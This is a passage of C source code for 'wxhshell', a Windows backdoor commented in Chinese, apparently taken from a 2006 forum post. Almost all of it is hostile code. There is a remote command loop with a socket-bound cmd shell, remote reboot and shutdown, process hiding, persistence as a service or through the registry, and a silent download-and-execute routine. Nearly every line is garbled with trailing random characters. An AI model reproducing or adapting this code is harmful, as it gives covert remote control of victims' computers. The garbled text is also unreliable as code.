    switch(cmd[0]) { -cKR15  
  vzw\f   
  // 帮助 so7;h$h!H  
  case '?': { ;VuIQ*@m"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <R2  
    break; Y'-Lt5SCS  
  } O v-I2  
  // 安装 4g 1h:I/  
  case 'i': { +FiV!nRkZ  
    if(Install()) n'ro5D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DB0xIP~i,?  
    else Z|W=.RdA;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z,9qAts?mh  
    break; &[YG\8sxWa  
    } gvC2\k{  
  // 卸载 -4Xr5j%o  
  case 'r': {  lcr=^  
    if(Uninstall()) )oj`K,#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <n>< A+D  
    else =8iM,Vl3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !rWib` %  
    break; 6"DvdJ0MB  
    } 0^m02\Li  
  // 显示 wxhshell 所在路径 `9ieTt  
  case 'p': { p})&Zl)V  
    char svExeFile[MAX_PATH]; 9qpH 8j+  
    strcpy(svExeFile,"\n\r"); m[}$&i$(  
      strcat(svExeFile,ExeFile); R9W(MLe58  
        send(wsh,svExeFile,strlen(svExeFile),0); 7@sWT<P  
    break; <ESAoY"RPN  
    } 4Mprc~ 7vr  
  // 重启 3 !,%;Vz=  
  case 'b': { {\V)bizY;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DirWe  
    if(Boot(REBOOT)) t3M/ThIE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Xn%-OT  
    else { ESO(~X+  
    closesocket(wsh); ,y0kzwPR1  
    ExitThread(0); ;#;X@BhS  
    } gQ?k}D  
    break; +o/q@&v;Ax  
    } DGU$3w  
  // 关机 TC2aD&cw{  
  case 'd': { 5}m2D='  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8]Pf:_e,+  
    if(Boot(SHUTDOWN)) L$b9|j7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bq!P.%6p4  
    else { _uBf.Qfs  
    closesocket(wsh); !yxb<  
    ExitThread(0); a%AU9?/q#  
    } C{c (K!  
    break; :70oO}0m.  
    } u4S3NLG)  
  // 获取shell dlW w=^  
  case 's': { p?}Rolk7  
    CmdShell(wsh); j#*K[  
    closesocket(wsh); +?c&Gazi  
    ExitThread(0); zYep V  
    break; TqlUe@E  
  } +@!9&5S A  
  // 退出 / g&mDYV|  
  case 'x': { I@hC$o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :g,rl\S7  
    CloseIt(wsh); toQn]MT  
    break; o6qQ zk  
    } =Xp 3UNXg  
  // 离开 #[A/zH|xvV  
  case 'q': { |m=@;B|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6G( k{S  
    closesocket(wsh);  "u%$`*  
    WSACleanup(); 7 724,+2N  
    exit(1); |BXq8Erh  
    break; 0{j>u`  
        } ZQyT$l~b  
  } R ~cc]kp0  
  } 3*FktXmI}  
1D*e u  
  // 提示信息 , vky  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f6m^pbQFl  
} cJqPcCq(wn  
  } @p!["v&  
}x%"Oq|2]x  
  return; 5X  
} ^wX_@?aKtt  
r}vr E ^Q  
// shell模块句柄 Pd3t~1TaW  
int CmdShell(SOCKET sock) N8KHNTb-M  
{ wo*/{KFvh  
STARTUPINFO si; @50Js3R1q  
ZeroMemory(&si,sizeof(si)); v.\&gn(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]$z~;\T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <cl$?].RE!  
PROCESS_INFORMATION ProcessInfo; ]AN)M>  
char cmdline[]="cmd"; _]<]:b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A$-{WN.W  
  return 0;  Pg`^EJ+  
} EqOB 0\  
[*1c.&%(  
// 自身启动模式 o2jnmv~  
int StartFromService(void) QZDGk4GG  
{ 2bCa|HTv  
typedef struct k_!z=6?[:  
{ c*3ilMP\4  
  DWORD ExitStatus; OyH:  
  DWORD PebBaseAddress; UboOIx5:  
  DWORD AffinityMask; :?60pu=  
  DWORD BasePriority; {!=I GFe  
  ULONG UniqueProcessId; w PV`j:?'  
  ULONG InheritedFromUniqueProcessId; R+^/(Ws'<  
}   PROCESS_BASIC_INFORMATION; w("jyvV[C  
#|'8O  
PROCNTQSIP NtQueryInformationProcess; 2[W Qq)\  
K[ylyQ1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p,xM7V"O)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j Sddjs  
oXGf#>keg  
  HANDLE             hProcess; p*>[6{$3)O  
  PROCESS_BASIC_INFORMATION pbi; YGxdYwBwf  
(+4=A k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZI5UQH/  
  if(NULL == hInst ) return 0; U_14CLs dG  
atPf527\`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .fZv H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bi,%QZZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uH]^/'8vBd  
z`TI<B  
  if (!NtQueryInformationProcess) return 0; GA;E (a  
|ejrE,~1vb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~)()PO  
  if(!hProcess) return 0; )hn,rmn (P  
c>]_,Br~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~kYF/B2*  
RRV&!<l@$  
  CloseHandle(hProcess); ;E*ozKpm  
J,E&Uz95%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FCI38?`%  
if(hProcess==NULL) return 0; Ad]r )d{  
AjZT- Q0L  
HMODULE hMod; IPJs$PtKok  
char procName[255]; 0V1kZ.  
unsigned long cbNeeded; o]jo R3  
~L?p/3m   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :pNZQX  
>+8mq]8^  
  CloseHandle(hProcess); Q>X ;7nt0  
Phx/9Kk  
if(strstr(procName,"services")) return 1; // 以服务启动 a8dR.  
3?fya8W<  
  return 0; // 注册表启动 tl#hCy  
} |>[w $  
Wqy8ZgSC  
// 主模块 bG\1<:6B  
int StartWxhshell(LPSTR lpCmdLine) {0e5<"i  
{ !vG._7lPp  
  SOCKET wsl; >.B+xn =  
BOOL val=TRUE; 6.ap^9AD  
  int port=0; n+xM))  
  struct sockaddr_in door; mv + .5X  
SLBKXj|  
  if(wscfg.ws_autoins) Install(); !lHsJ)t  
OxqP:kM  
port=atoi(lpCmdLine); W}(dhgf  
 dedi6Brl  
if(port<=0) port=wscfg.ws_port; K_ RrSI&>  
:Z&ipd!yY  
  WSADATA data; }De)_E\~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x %$Z/  
+K+ == mO&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B{zIW'Ld  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G-rN?R.  
  door.sin_family = AF_INET; &9^c-;Vs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A~h8 >zz*  
  door.sin_port = htons(port); `7'(U)x,F  
9#_49euy|P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QI!:+8  
closesocket(wsl); #`?uV)(  
return 1; b>fDb J0  
} Xf#uK\f  
j8N8|\n-  
  if(listen(wsl,2) == INVALID_SOCKET) { fDqlN`P@  
closesocket(wsl); smk0*m4  
return 1; Ot v{#bB$  
} 4;%=ohD:!  
  Wxhshell(wsl); ))eR  
  WSACleanup(); js2?t~E]  
8lbNw_U  
return 0; |/rBR!kPq  
LV9\  
} tMupX-V  
=niU6Q}  
// 以NT服务方式启动 c L84}1QD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8whjPn0  
{ ~~h9yvW7&  
DWORD   status = 0; a)} ?rzT]  
  DWORD   specificError = 0xfffffff; v3`J~,V<  
"zm.jNn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6"gncB.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WukCE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s;$ eq);  
  serviceStatus.dwWin32ExitCode     = 0; !a1jc_  
  serviceStatus.dwServiceSpecificExitCode = 0; ]%NCKOM  
  serviceStatus.dwCheckPoint       = 0; $z` jR*  
  serviceStatus.dwWaitHint       = 0; t+66kBN  
J&h 3,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k \]@  
  if (hServiceStatusHandle==0) return; Be-gGJG  
"%0RR?  
status = GetLastError(); R(x% <I  
  if (status!=NO_ERROR) G.c s-f  
{ W>s<&Vb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EEF}Wf$f  
    serviceStatus.dwCheckPoint       = 0; W*VQ"CW{^]  
    serviceStatus.dwWaitHint       = 0; >N44&W  
    serviceStatus.dwWin32ExitCode     = status; m@"!=CTKd  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1eK J46W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \QYs(nm?k  
    return; yKq;EcVx  
  } $^`hu%s,~  
#Etz}:%W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c[ =9Z;|  
  serviceStatus.dwCheckPoint       = 0; ~>)cY{wE_  
  serviceStatus.dwWaitHint       = 0; '0?5K0 2(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g"<kj"  
} +]UPY5:F  
A.y"R)G  
// 处理NT服务事件,比如:启动、停止 !L>'g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R-Uj\M>  
{ OhIUm4=|$  
switch(fdwControl) }p."7(  
{ {dCkiF  
case SERVICE_CONTROL_STOP: ~d>O.*Q)  
  serviceStatus.dwWin32ExitCode = 0; w[loV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  #]n[  
  serviceStatus.dwCheckPoint   = 0; TS@EE&Wq  
  serviceStatus.dwWaitHint     = 0; NcqE)"yObo  
  { c a$D|3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R?^FO:nM%!  
  } uy7)9w  
  return; V@T G"YF  
case SERVICE_CONTROL_PAUSE: sE]eIN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `5h$@  
  break; `s@1'IG;R_  
case SERVICE_CONTROL_CONTINUE: qAkx52v6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _es>G'S  
  break; |A &Nv~.)  
case SERVICE_CONTROL_INTERROGATE: &Gxk~p<  
  break; `[Kh[|  
}; .LV=Z0ja  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B>-Iv _  
} !/Hln;{  
'g( R4deCX  
// 标准应用程序主函数 4 YI,:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -.:1nI  
{ XWk/S $-d  
-%"MAIJnX  
// 获取操作系统版本 )HR'FlxOd  
OsIsNt=GetOsVer(); t+p-,ey^@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0d.lF:  
Cl i k  
  // 从命令行安装 '[:].?M  
  if(strpbrk(lpCmdLine,"iI")) Install(); {.eC"  
nhQ.U>&-M  
  // 下载执行文件 9?l( }S`  
if(wscfg.ws_downexe) { (#7pGGp*E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vk.Y2 :  
  WinExec(wscfg.ws_filenam,SW_HIDE); #P18vK5  
} =yfr{5}R  
7zpwP  
if(!OsIsNt) { &# `d8}3D  
// 如果时win9x,隐藏进程并且设置为注册表启动 <S TwylL  
HideProc(); JA())0a  
StartWxhshell(lpCmdLine); ?=f\oH$  
} &)<]AG.vd!  
else G;wv.|\  
  if(StartFromService()) vg *+>lbA  
  // 以服务方式启动 et/mfzV  
  StartServiceCtrlDispatcher(DispatchTable); CSwNsFDR%  
else Hm%[d;Z7  
  // 普通方式启动 V<nh+Q3<d  
  StartWxhshell(lpCmdLine); UV@<55)K  
?RrJYj1  
return 0; ?9 2+(s  
}
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只看该作者 1 发表于: 2006-10-10
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